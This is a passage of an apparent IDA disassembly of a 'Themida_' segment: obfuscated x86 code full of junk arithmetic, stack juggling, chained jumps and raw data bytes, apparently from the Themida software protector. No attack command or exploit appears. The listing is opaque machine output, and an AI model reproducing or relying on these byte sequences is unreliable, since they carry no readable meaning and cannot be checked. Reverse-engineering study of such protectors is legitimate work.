		dd 0CBEA810Fh, 1062F49h, 0CBC281EAh, 81062F49h,	0E24254EAh
		dd 0BAC2810Fh, 0E974F01Eh, 161Ah, 7E73C781h, 7BE964D6h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552103:				; CODE XREF: Themida_:00562E77j
		sub	ecx, 0E6E137Bh
		push	eax
		mov	eax, ecx
		mov	edx, eax
		pop	eax
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55A789
; ---------------------------------------------------------------------------
aTSdd		db 'T^鄤',0
		db 0
; ---------------------------------------------------------------------------


loc_552125:				; CODE XREF: Themida_:00565102j
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_554852
; ---------------------------------------------------------------------------


loc_552145:				; CODE XREF: Themida_:00550EC7j
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5655CD
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 0D3D4E924h, 0EC830000h, 243C8904h, 0D36DDCBFh
		dd 1C7816Bh, 0C1000000h, 0EF8106EFh, 0C7F5463Ch, 8904EC83h
		dd 481243Ch, 0A4723B24h, 0EE815E4Eh, 4EA4723Bh,	0E9243C8Bh
		dd 12BCCh
; ---------------------------------------------------------------------------


loc_5521A4:				; CODE XREF: Themida_:00562A30j
		sub	ebp, 84048402h
		mov	ecx, ebp
		pop	ebp
		sub	ecx, 65171F52h
		add	ecx, edx
		add	ecx, 65171F52h
		jmp	loc_5633C7
; ---------------------------------------------------------------------------


loc_5521C0:				; CODE XREF: Themida_:0055D1D1j
		pop	ecx
		push	esi
		jmp	loc_561E1C
; ---------------------------------------------------------------------------


loc_5521C7:				; CODE XREF: Themida_:00562162j
		pop	eax
		or	edx, ebp
		pop	ebp
		sub	edx, 8FBCF2FDh
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_557227
; ---------------------------------------------------------------------------


loc_5521E6:				; CODE XREF: Themida_:00560591j
		pop	edx
		add	eax, 51956B3Bh
		add	eax, edx
		sub	eax, 51956B3Bh
		push	ebx
		mov	ebx, 1DC33F75h
		inc	ebx
		or	ebx, 4C5331B9h
		shr	ebx, 4
		sub	ebx, 96682ABAh
		add	eax, ebx
		pop	ebx
		mov	edx, [esp]
		jmp	loc_561534
; ---------------------------------------------------------------------------


loc_552214:				; CODE XREF: Themida_:00559EF6j
		mov	[esp], ebp
		jmp	loc_55CB25
; ---------------------------------------------------------------------------
		dd 4C4815Bh, 81000000h,	5C79FDC2h, 426E97Fh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55222E:				; CODE XREF: Themida_:0055B7ABj
		add	ebp, 4
		jmp	loc_561730
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 1000000h, 0D6015EF2h, 4C6815Ah, 33000000h
		dd 34312434h, 24343324h, 5EF0015Ch, 81E38953h, 4C3h, 0A056E900h
		dd 895C0000h, 5D54242Ch, 4C581h, 0BA520000h, 72441790h
		dd 4BA3E281h, 0E2C10BF6h, 0F7CA8102h, 504D2D7Bh, 524CE9h
		dd 2C48300h, 1BBF6657h,	66526638h, 660E0FBAh, 5A66D701h
		dd 0CDCF8166h, 0CF81660Dh, 4F662F84h, 5EF78166h, 0F801660Eh
		dd 0C801665Fh, 61B02D66h, 0F2B2D66h, 240C8B66h,	63F768h
		dd 1687E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5522CE:				; CODE XREF: Themida_:0055B924j
		push	1A20h
		mov	[esp], ecx
		jmp	loc_553896
; ---------------------------------------------------------------------------
		db 9
		dd 0F2815EF2h, 121313Fh, 5867F281h, 0EAD147D8h,	8904EC83h
		dd 10B82404h, 31039B74h, 0D18958C2h, 0BCF2E9h
		db 0
; ---------------------------------------------------------------------------


loc_552301:				; CODE XREF: Themida_:0055E3A3j
		pop	esi
		push	4A58h
		mov	[esp], eax
		mov	eax, 4AC91BE3h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1C1C037Ch
		neg	ebx
		shl	ebx, 2
		dec	ebx
		jmp	loc_563DD5
; ---------------------------------------------------------------------------
		db 52h,	51h, 0B9h
		dd 3144081Fh, 44081BBAh, 59CA3131h, 685AD601h, 197Ch, 0FF243489h
		dd 5E042474h, 8B24048Fh, 34FF2424h, 0B7C9E924h,	0D1BA0000h
		dd 813AB101h, 633F36F2h, 0FBF5731h, 811C3767h, 0A60ADBF7h
		dd 5FFA3108h, 80EBE9h, 0E9EB0100h, 0FFFFE08Dh, 0E25BE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55237E:				; CODE XREF: Themida_:0055ED53j
		push	eax
		mov	eax, 45BA537Dh
		jmp	loc_559DDE
; ---------------------------------------------------------------------------
a90uxsi		db '´&³90ãX鈚',0
		dd 4685700h, 5F000000h,	34FFFE01h, 0C4815F24h, 4, 2FE95652h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5523AF:				; CODE XREF: Themida_:005518FBj
		pop	esi
		jmp	loc_561C02
; ---------------------------------------------------------------------------


loc_5523B5:				; CODE XREF: Themida_:005602C6j
		mov	[esp], esi
		jmp	loc_55CAFB
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4BA52h, 0D1010000h, 1B7FE9h,	2434FF00h, 4C48359h, 0FFFCE6E9h
		dd 4EA83FFh, 2E70E9h, 0FFFF0500h, 9E9FFFFh
		db 0CEh, 2 dup(0)
byte_5523EB	db 66h			; DATA XREF: Themida_:0054FC9Co
		dd 57240C8Bh, 0C7815F54h, 4, 3304EF83h,	3C31243Ch, 243C3324h
		dd 8924248Bh, 0EC83243Ch, 24248904h, 4240483h, 5F2434FFh
		dd 4EC81h, 14890000h, 81E28924h, 4C2h, 0EB28E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55242E:				; CODE XREF: Themida_:0056412Aj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, 4BF12D66h
		xor	ecx, 23033C06h
		or	ecx, 11A046C8h
		push	esi
		mov	esi, 0DE658C82h
		sub	ecx, esi
		pop	esi
		add	esi, 7FCF52F2h
		add	esi, ecx
		jmp	loc_559713
; ---------------------------------------------------------------------------
		db 68h
		dd 3D5Ah, 0E9241C89h, 0EA45h, 525BDF01h, 268h, 67E95A00h
		db 1Ch,	1, 0
; ---------------------------------------------------------------------------


loc_55247B:				; CODE XREF: Themida_:00560DE9j
		mov	[esp], edi
		mov	edi, 241C079Fh
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55098C
; ---------------------------------------------------------------------------
		dd 0E9DBF758h, 0F43Bh, 7D05FEB9h, 0E9E9871Bh, 12A75h
; ---------------------------------------------------------------------------


loc_5524A4:				; CODE XREF: Themida_:0055910Bj
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		sub	esp, 4
		jmp	loc_560F0B
; ---------------------------------------------------------------------------
		dw 478Fh
		dd 62026840h, 4890000h,	5E7E6824h, 1C890000h, 5F5ABB24h
		dd 0EC813520h, 4, 0E9241C89h, 481Bh, 5D2434FFh,	4C481h
		dd 5C010000h, 1C8B0424h, 0AF1EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5524EE:				; CODE XREF: Themida_:00561403j
		xchg	eax, ebp
		push	62C8h
		mov	[esp], ecx
		mov	ecx, 5BDA7315h
		jmp	loc_55E347
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 8
		dd 10CEDE9h, 24448100h,	0BC4A5004h, 246C0159h, 246C8104h
		dd 0BC4A5004h, 81585D59h, 4ECh,	240C8900h, 0FFDDA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55252D:				; CODE XREF: Themida_:005585BCj
		mov	ebx, 60232A31h
		and	ebx, 1EB3985h
		shl	ebx, 5
		push	edi
		mov	edi, 73216C1Fh
		or	ebx, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ebx, 77656C3Bh
		push	ebx
		pop	esi
		pop	ebx
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5633F4
; ---------------------------------------------------------------------------
		db 59h
		dd 86496B68h, 0EFC15F22h, 0C7834705h, 0EF781FFh, 2999E8AEh
		dd 0EB815EF7h, 190F41C0h, 0C381FB29h, 190F41C0h, 0BC25E9h
		dd 9E95500h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55259F:				; CODE XREF: Themida_:0055D125j
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [edi+1Ch]
		push	6E26h
		mov	[esp], ebp
		push	esi
		mov	esi, 32CF3AA0h
		shr	esi, 4
		xor	esi, 4E8FDA35h
		jmp	loc_55F168
; ---------------------------------------------------------------------------
		dd 0F7242C89h, 815D2414h, 3BA7F7C5h, 2C8155D6h,	57269724h
		dd 0C3815B31h, 31572697h, 2F5BA5Dh, 0C281CE1Dh,	6A0653C7h
		dd 0EA81DA01h, 6A0653C7h, 7EAC15Bh, 5505E2C1h, 943CBB53h
		dd 0DD890F45h, 0E92434FFh, 0FFFFFC0Ch, 0DEF7D6F7h, 7EABD55h
		dd 0EDC12239h, 0C8ED8106h, 814F7367h, 4ECh, 0E1B8E900h
		dd 92BD0000h, 17FC25Eh,	0C1815DE9h, 0D482617h, 6AE9F101h
		dd 8800006Bh, 7C8858C7h, 34FF0187h, 0C4835B24h,	2434FF04h
		dd 5716859h, 14890000h,	0AE1DE924h, 0DBBD0000h,	0BE2AF544h
		dd 542EC09Fh, 18C5C681h, 0EE01793Dh, 18C5EE81h,	2C8B793Dh
		dd 52D6E924h, 0FD890000h, 0FFEE315Fh, 2C8B2434h, 2ADDE924h
		dd 0EC800001h, 52B2E9FFh, 89660000h, 0DAE9241Ch
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5526A3:				; CODE XREF: Themida_:0055F4DBj
		pop	edi
		add	ebx, 138A223Ah
		jmp	loc_55CF02
; ---------------------------------------------------------------------------


loc_5526AF:				; CODE XREF: Themida_:0056169Dj
		pop	eax
		xor	edx, 4BC64962h
		jmp	loc_55F60E
; ---------------------------------------------------------------------------


loc_5526BB:				; CODE XREF: Themida_:005572D4j
		add	edx, ebx
		pop	ebx
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55AEE6
; ---------------------------------------------------------------------------
aEsC		db 'Eé$–',0
		dd 0F5815D00h, 0FFEAF9BBh, 0FFF010E9h, 241489FFh, 0FFFEACE9h
		dd 24348BFFh, 4C481h, 0EC830000h, 17A4E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5526FE:				; CODE XREF: Themida_:0055ACF3j
		mov	esp, [esp]
		jmp	loc_55DCF8
; ---------------------------------------------------------------------------


loc_552706:				; CODE XREF: Themida_:0055AF85j
		xor	esi, 41493683h
		add	ebp, esi
		jmp	loc_553BDB
; ---------------------------------------------------------------------------
		db 87h
		dd 315C240Ch, 4332404h,	0B618E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552722:				; CODE XREF: Themida_:005505B8j
		push	ebx
		jmp	loc_553D0B
; ---------------------------------------------------------------------------


loc_552728:				; CODE XREF: Themida_:0054FFACj
		or	ebp, 6B7D003Fh
		jmp	loc_55440D
; ---------------------------------------------------------------------------


loc_552733:				; CODE XREF: Themida_:005563D3j
		sub	edi, 3B0A6E18h
		mov	edx, edi
		pop	edi
		jmp	loc_5545BD
; ---------------------------------------------------------------------------
		db 21h,	0F0h, 0E9h
		dd 3BE5h, 24048F5Ah, 10FC5E9h, 17BF6800h, 4890000h, 0F51BE924h
		dd 0EC830000h, 24048904h, 0E480E9B4h, 0E9C4FEB5h, 4F51h
		dd 0C104E9C1h, 0F18105E9h, 3765215h, 159C831h, 0EC8158C1h
		dd 4, 0BE243489h, 4, 0FE98E955h, 0E952FFFFh, 4D84h
; ---------------------------------------------------------------------------


loc_55279C:				; CODE XREF: Themida_:00558C54j
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_55F640
; ---------------------------------------------------------------------------
		dd 0F9BB5355h, 505E3105h, 0AB34B2B8h, 1E26E929h, 0C330000h
		dd 240C3124h, 0E9240C33h, 3BC3h
; ---------------------------------------------------------------------------


loc_5527C8:				; CODE XREF: Themida_:00559F7Fj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_562927
; ---------------------------------------------------------------------------


loc_5527DD:				; CODE XREF: Themida_:00551261j
		pop	ebx
		xor	esi, 36A0533Fh
		push	ecx
		mov	ecx, 3CF75D8Bh
		jmp	loc_554340
; ---------------------------------------------------------------------------


loc_5527EF:				; CODE XREF: Themida_:00561773j
		pop	edx
		mov	ch, bl
		jmp	loc_563E9B
; ---------------------------------------------------------------------------
		db 89h
		dd 14F72404h, 0F8355824h, 0E9D5B0A1h, 2D4Fh
; ---------------------------------------------------------------------------


loc_552808:				; CODE XREF: Themida_:0055CFDFj
		pop	ecx
		sub	ebx, 4
		jmp	loc_564B90
; ---------------------------------------------------------------------------
		dd 4BEh, 24740100h, 348B5E04h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5572A2
; ---------------------------------------------------------------------------


loc_552829:				; CODE XREF: Themida_:0056038Bj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_554F57
; ---------------------------------------------------------------------------


loc_552834:				; CODE XREF: Themida_:0055BBC1j
		test	ecx, eax
		pushf
		jmp	loc_54FF17
; ---------------------------------------------------------------------------


loc_55283C:				; CODE XREF: Themida_:0055F486j
		and	ebp, 5FD05B9Fh
		xor	ebp, 6F687B74h
		jmp	loc_564EAF
; ---------------------------------------------------------------------------
		db 68h,	0C5h, 53h
		dd 0F75A012Bh, 0F50BE9DAh, 0C5810000h, 49326F06h, 156FE9h
		dd 0C7814700h, 7B680CB5h, 0D15BE9h, 1EF8100h, 81000000h
		dd 0A63EBC7h, 0B95147BAh, 48DB6EEDh, 55E9D9F7h,	460000CCh
		dd 81E38953h, 4C3h, 15556800h, 4890000h, 0E929E924h, 0EA81FFFFh
		dd 103219DFh, 0C281DA01h, 103219DFh, 0FFEEFDE9h, 48B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 62045246h
		push	edx
		mov	edx, 210B0B18h
		jmp	loc_561100
; ---------------------------------------------------------------------------
		db 0B6h, 2Ah, 0
		dd 24148BF0h, 2C04C483h, 240C8B77h, 0E9E18951h,	71C3h
		dd 43E9CA89h
		db 0F9h, 2 dup(0FFh)
aM0Hr		db '¬0Øhr-',0           ; DATA XREF: Themida_:0054FE7Co
		dw 0E900h
		dd 2AC1h, 5B7012BDh, 0E9E80131h, 122C1h, 5A241429h, 0C39DE9h
		db 0
; ---------------------------------------------------------------------------


loc_552915:				; CODE XREF: Themida_:0054FF49j
		pop	edx
		mov	esi, eax
		jmp	loc_55C3A3
; ---------------------------------------------------------------------------
aBaM1sss	db 'íĬÈÉ1èésÝ',0
		align 2
		dw 3C87h
		dd 24248B24h, 0C8B60F66h, 5BBE68h, 241C8900h, 2434FF54h
		dd 83241C8Bh, 0EC8104C4h, 4, 89240489h,	405E0h,	0F1E90000h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55295B:				; CODE XREF: Themida_:0055A27Ej
		pop	eax
		push	eax
		mov	eax, 5808189Eh
		neg	eax
		add	eax, 0A69F5750h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_564921
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0CCB22414h, 0E91FC280h, 27E0h
; ---------------------------------------------------------------------------


loc_552984:				; CODE XREF: Themida_:0055C69Aj
		mov	ebp, 66482069h
		dec	ebp
		sub	ebp, 0DC478059h
		add	ebx, ebp
		pop	ebp
		add	ecx, ebx
		jmp	loc_562A76
; ---------------------------------------------------------------------------


loc_55299A:				; CODE XREF: Themida_:005632F8j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55DF6C
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C2h
		dd 0B60D32DEh, 148BD631h, 99AE924h, 0C2810001h,	151B59C5h
		dd 0EA81F201h, 151B59C5h, 547EA81h, 875E34B4h, 0A5E92414h
		dd 87000043h, 815C2404h, 4C7h, 0C0CAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55B93F
; ---------------------------------------------------------------------------


loc_5529EA:				; CODE XREF: Themida_:005584CEj
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	edi, 3BE528C6h
		jmp	loc_562E7C
; ---------------------------------------------------------------------------


loc_5529FB:				; CODE XREF: Themida_:0055FF45j
		shr	ebp, 2
		shl	ebp, 4
		shl	ebp, 5
		and	ebp, 4A476580h
		jmp	loc_55EF3D
; ---------------------------------------------------------------------------
		db 5Bh
		dd 592434FFh, 124CBE9h,	59585100h, 81242C8Bh, 4C4h, 52BCE900h
		dd 56BB0000h, 3154D67Dh, 0CF815BDFh, 5F8D7DEEh,	0E908EFC1h
		dd 3757h
; ---------------------------------------------------------------------------


loc_552A40:				; CODE XREF: Themida_:00558950j
		xchg	ebx, [esp]
		jmp	loc_56447F
; ---------------------------------------------------------------------------
dword_552A48	dd 582434FFh, 32E668h, 24348900h, 0C6815E54h, 4, 27FB68h
					; DATA XREF: Themida_:0054FD38o
		dd 24148900h, 4EC8153h,	89000000h, 0C2BD242Ch, 83674259h
		dd 4DE904ECh, 81FFFFFBh, 1D2F52EEh, 0D586E903h,	0C481FFFFh
		dd 4, 5304E1C1h, 0FFFFFFBBh, 5BD929FFh,	0EF65E9h
		db 0
; ---------------------------------------------------------------------------


loc_552A9D:				; CODE XREF: Themida_:00560712j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_553096
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 89572414h, 4C781E7h,	0E9000000h, 0F2F4h, 2B0B68h, 241C8900h
		dd 681F6866h, 24148966h, 2AE956B2h, 5D000089h, 2773EB81h
		dd 1DE96741h, 810000BAh, 0B04246Ch, 13B997Ah, 8104245Ch
		dd 0B042444h, 813B997Ah, 2E04246Ch, 5B1CB31Ch, 91242C81h
		dd 52170D64h, 0B7CC4BAh, 2454291Ah, 2C815A04h, 0E2708824h
		dd 24040134h, 88240481h, 8134E270h, 7CC42404h, 0BA521A0Bh
		dd 170D6491h, 4244481h,	630644CBh, 4246C81h, 3B902AC3h
		dd 4245401h, 4244481h, 3B902AC3h, 4246C81h, 630644CBh
		dd 100A3E9h, 48F5B00h, 24895C24h, 24048124h, 4,	0F596E9h
		dd 24048900h, 0C046E9h,	2454F600h, 240C8B01h, 0C4FAE9h
		db 0
byte_552B81	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FC80o
aH7		db '$hÁ7',0
		align 2
aS_5		db 'éœØ',0
		dw 0F700h
		dd 3EAC1DAh, 1C281h, 0EA810000h, 0D4437C83h, 815AD329h
		dd 0D06A85C3h, 81FB2932h, 0D06A85EBh, 4EC8132h,	89000000h
		dd 23BD242Ch, 814B8347h, 245AF9C3h, 0C9EB8167h,	11E9E04h
		dd 0C9C381EBh, 811E9E04h, 245AF9EBh, 2434FF67h,	46D4E9h
		dd 0DC043500h, 0C2019EABh, 5624048Bh, 0C681E689h, 4, 0F976E9h
		dd 665B6600h, 2244481h,	0BAE91D39h, 520000CBh, 7DBCE9h
		dd 558B0500h, 0C521BDFDh, 0FF65E9h, 0F6C4FE00h,	0FA70E9DCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552C22:				; CODE XREF: Themida_:0055477Dj
		add	esi, ecx
		pop	ecx
		add	esi, ebp
		sub	esi, 66170CBDh
		pop	ebp
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_550B74
; ---------------------------------------------------------------------------
		db 66h
		dd 66C8AF0Fh, 0D0E99C51h, 89FFFFD2h, 5DEB89FDh,	0A2BF575Fh
		dd 310B1D37h, 0F8E5E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55ED52
; ---------------------------------------------------------------------------
		db 31h,	0C6h, 8Bh
		dd 0E9532404h, 0CBF6h, 9C7E42B9h, 0F0C98103h, 0C14E4B63h
		dd 494104E1h, 0AB1CC181h, 0CF29F48Dh, 6143E9h, 1DACBD00h
		dd 0ED8161C6h, 0DBDB5D3h, 15DEA29h, 0BDE95AD1h,	0B900011Dh
		dd 667E1B91h, 0C1D1F741h, 0BA5207E9h, 16A33C67h, 8724E9h
		dd 0C4835B00h, 4C48304h, 0D86EE9h
		db 0
; ---------------------------------------------------------------------------


loc_552CD1:				; CODE XREF: Themida_:00558FF1j
		push	edi
		push	ebx
		push	7FA61A18h
		pop	ebx
		jmp	loc_564AD6
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 24348704h, 242C895Ch, 0AAE9E589h, 8300005Eh,	3C8904ECh
		dd 23E95B24h, 830000DBh, 0E80104C4h, 8B2434FFh,	0C483242Ch
		dd 3077E904h, 55590000h, 4BDh, 159BE900h, 0B1350000h, 0C12F0B49h
		dd 0BA5202E8h, 62793D0Eh, 2D5AD029h, 0FFFFFFFFh, 0F2A8BD05h
		dd 0E9C30143h, 0F387h
; ---------------------------------------------------------------------------


loc_552D3C:				; CODE XREF: Themida_:005532FDj
		push	edi
		mov	edi, 2F2572C0h
		mov	ebp, edi
		pop	edi
		push	esi
		mov	esi, 6C2D7FA3h
		not	esi
		xor	esi, 0C1B2A41Ah
		xor	ebp, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	ebp, 7D455682h
		add	ecx, ebp
		pop	ebp
		jmp	loc_5616B3
; ---------------------------------------------------------------------------
aS8		db '^é8Ã',0
		dw 0FF00h
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55D072
; ---------------------------------------------------------------------------


loc_552DB0:				; CODE XREF: Themida_:00561259j
		mov	edi, 7BE10380h
		dec	edi
		and	edi, 26FF345Eh
		jmp	loc_555C75
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 81E18951h, 4C1h, 0A295E900h,	4D4D0000h, 541CF581h, 0EE810B6Dh
		dd 206B3BBDh, 0C681EE01h, 206B3BBDh, 2EE835Dh, 31243433h
		dd 34332434h, 0DD0AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552DFA:				; CODE XREF: Themida_:0055BA73j
		add	ebp, 4
		push	edx
		mov	edx, 2E7F66FFh
		not	edx
		or	edx, 5D621FF9h
		not	edx
		xor	edx, 0BD92A55h
		add	edx, 0D63BB5B1h
		jmp	loc_55EDE4
; ---------------------------------------------------------------------------


loc_552E21:				; CODE XREF: Themida_:00563E1Bj
		mov	edx, 783A5DA3h
		jmp	loc_55AA77
; ---------------------------------------------------------------------------


loc_552E2B:				; CODE XREF: Themida_:0055D5D4j
		mov	edi, 0B9714B6h
		mov	ebx, 26BD5EA8h
		xor	ebx, edi
		pop	edi
		jmp	loc_55175F
; ---------------------------------------------------------------------------
		db 89h,	0C6h, 8Bh
		dd 54562404h, 0FFD35CE9h, 0E96EB1FFh, 0C210h, 0B6B1B753h
		dd 9CB353CEh, 0AD25E9h
		db 0
; ---------------------------------------------------------------------------


loc_552E5D:				; CODE XREF: Themida_:00557D9Cj
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jmp	loc_551E45
; ---------------------------------------------------------------------------
		db 88h
		dd 58E188FCh, 81241C8Bh, 4C4h, 5F9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552E7A:				; CODE XREF: Themida_:0055DF22j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55047D
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 0E9h
		dd 0FD22h
; ---------------------------------------------------------------------------


loc_552E90:				; CODE XREF: Themida_:00562E84j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5546D7
; ---------------------------------------------------------------------------


loc_552E9C:				; CODE XREF: Themida_:00564A5Dj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	eax, 253D136Ah
		neg	eax
		add	eax, 0FFFFFFFFh
		push	edi
		mov	edi, 2CFA6565h
		add	eax, edi
		pop	edi
		mov	edx, eax
		pop	eax
		push	eax
		mov	eax, edx
		mov	ebx, eax
		pop	eax
		jmp	loc_55DC01
; ---------------------------------------------------------------------------


loc_552EC6:				; CODE XREF: Themida_:005575C2j
		add	esp, 4
		push	cx
		sub	esp, 4
		jmp	loc_555A92
; ---------------------------------------------------------------------------


loc_552ED9:				; CODE XREF: Themida_:0055BB92j
		add	edi, 1813221Fh
		sub	edi, 2B9B7BA4h
		add	edi, ebp
		add	edi, 2B9B7BA4h
		jmp	loc_557AD7
; ---------------------------------------------------------------------------


loc_552EF2:				; CODE XREF: Themida_:00563D62j
		mov	dl, 14h
		add	bl, dl
		pop	edx
		sub	bl, 57h
		sub	bl, 0F6h
		add	bl, al
		add	bl, 0F6h
		push	edx
		mov	dl, 17h
		add	dl, 40h
		jmp	loc_554D06
; ---------------------------------------------------------------------------


loc_552F0D:				; CODE XREF: Themida_:00561A7Ej
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55962D
; ---------------------------------------------------------------------------
		dw 0EB2Dh
		dd 5F581657h, 48BC701h,	4C48124h, 0E9000000h, 0D4BAh
; ---------------------------------------------------------------------------


loc_552F30:				; CODE XREF: Themida_:00553653j
		xor	ebx, 9653003h
		push	eax
		mov	eax, 1FE24A8Fh
		jmp	loc_550E37
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 3Ah
		dd 81FFFFFEh, 4ECh, 243C8900h, 0EC1F98BFh, 5A0EE92Dh, 0C2810000h
		dd 6CE57693h, 0EA81DA01h, 6CE57693h, 0E9241C8Bh, 31D9h
		dd 0C15FFB01h, 28E906E3h, 0B800007Eh, 4, 4244481h, 5BCB14CAh
		dd 4244401h, 0CBC2E9h, 0EE095800h, 11379E9h
		db 0
; ---------------------------------------------------------------------------


loc_552F99:				; CODE XREF: Themida_:0055E971j
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 27F4C38h
		jmp	loc_55A913
; ---------------------------------------------------------------------------
		db 5Eh
		dd 51240C8Bh, 0C181E189h, 4, 4C181h, 0C870000h,	9F055C24h
		dd 57ADC5Ch, 10EB6BE5h,	0A643E705h, 2DF80158h, 58A643E7h
		dd 3426BD55h, 81455F50h, 435174F5h, 6EED8152h, 5FC27F9h
		dd 50D0273h, 0B951E829h, 7BC84ECDh, 3AA8E181h, 76E915AFh
		dd 0F7000029h, 0E9592414h, 0DC09h
; ---------------------------------------------------------------------------


loc_55300C:				; CODE XREF: Themida_:00561D97j
		add	ebp, 4B6777CFh
		pop	edx
		add	ebp, 5A2644CDh
		sub	ebp, 0DFB6CE39h
		xor	ecx, ebp
		pop	ebp
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55E1B0
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 7BF1E924h, 248B0000h, 0F873E924h
		db 2 dup(0FFh)
word_553042	dw 48Bh			; DATA XREF: Themida_:0054FD94o
aVsU		db '$Véµu',0
		dw 0B900h
		dd 4, 4244C01h,	0FE37E9h, 0C6805C00h, 41EE80FDh, 0DE9EE00h
		dd 0F7000068h, 57C381DBh, 810534C2h, 0C44ECAEDh, 0B2ED8113h
		dd 8142A661h, 0A2702BEDh, 81DD0138h, 0A2702BC5h, 0ABB5338h
		dd 0F734D723h, 9AC1E9DBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553096:				; CODE XREF: Themida_:00552AA8j
		add	ebx, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_565087
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 8704C283h, 525C2414h,	0D555E9h
		db 0
; ---------------------------------------------------------------------------


loc_5530C9:				; CODE XREF: Themida_:00564AE2j
		sub	ebx, 0F49DBB7Ah
		mov	edi, ebx
		pop	ebx
		sub	ebx, edi
		pop	edi
		sub	ebx, 206E086Bh
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5533DE
; ---------------------------------------------------------------------------


loc_5530F5:				; CODE XREF: Themida_:00554202j
